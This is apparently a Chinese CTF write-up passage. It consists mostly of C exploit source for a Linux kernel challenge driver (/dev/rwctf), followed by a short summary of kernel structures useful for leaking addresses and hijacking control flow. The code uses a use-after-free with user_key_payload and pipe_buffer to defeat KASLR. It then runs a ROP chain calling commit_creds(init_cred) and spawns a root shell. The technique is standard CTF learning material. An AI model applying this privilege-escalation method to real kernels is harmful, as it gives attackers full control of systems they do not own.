#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RETstruct node {int idx;int size;char* ptr;
};void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void get_root_shell()
{hexx("UID", getuid());
//      system("/bin/sh");char *args[] = {"/bin/sh", NULL};execve("/bin/sh", args, NULL);
}size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{asm("mov user_cs, cs;""mov user_ss, ss;""mov user_rsp, rsp;""pushf;""pop user_rflags;");info("Status saved successfully");
}int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{struct node n = { .idx = idx, .size = size, .ptr = ptr };ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}void dele(int idx)
{struct node n = { .idx = idx };ioctl(rw_fd, 0xC0DECAFE, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int main(int argc, char** argv, char** env)
{bind_core(0);save_status();int key[2];int pipe_key;int pipe_fd[2];char des[100];size_t n;size_t kernel_offset;size_t pipe_buffer;size_t* buf;rw_fd = open("/dev/rwctf", O_RDWR);if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);add(0, 0x40, buf);add(1, 0x40, buf);dele(1);dele(0);key[0] = key_alloc("pwn0", buf, 0x40-0x18);key[1] = key_alloc("pwn1", buf, 0x40-0x18);dele(1);buf[0] = buf[1] = 0;buf[2] = 0x100*8;add(1, 0x40, buf);key_revoke(key[1]);key_read(key[0], buf, 0x100*8);binary_dump("user_key_payload", buf, 0x100);kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;hexx("kernel_offset", kernel_offset);add(0, 192, buf);add(1, 192, buf);dele(1);dele(0);pipe_key = key_alloc("pwnerer", buf, 192-0x18);if (pipe_key < 0) err_exit("key_alloc pipe_key");add(0, 1024, buf);dele(0);dele(1);pipe(pipe_fd);n = key_read(pipe_key, buf, 0xffff);hexx("key_read len", n);binary_dump("pipe_inode_info", buf, 192-0x18);pipe_buffer = buf[16];hexx("pipe_buffer addr", pipe_buffer);size_t rop[] = {0,0,pipe_buffer+0x18,pop_rdi+kernel_offset,push_rsi_pop_rsp_pop_3+kernel_offset,pop_rdi+kernel_offset,init_cred+kernel_offset,commit_creds+kernel_offset,swapgs_kpti+kernel_offset,0,0,get_root_shell,user_cs,user_rflags,user_rsp,user_ss};binary_dump("ROP chain", rop, sizeof(rop));memcpy(buf, rop, sizeof(rop));dele(0);add(0, 1024, buf);close(pipe_fd[1]);close(pipe_fd[0]);return 0;
}

效果如下,三个脚本均可成功提权:

总结

其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体,其中 ldt_struct 大小固定(0x10 slub/0x20 slab),而 user_key_payload 与 msg_msg 的大小是不固定的,但是有固定的头字段。

然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体,目前我就主要接触到这三个。

然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体,目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后,其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

发布评论

评论列表 (0)

  1. 暂无评论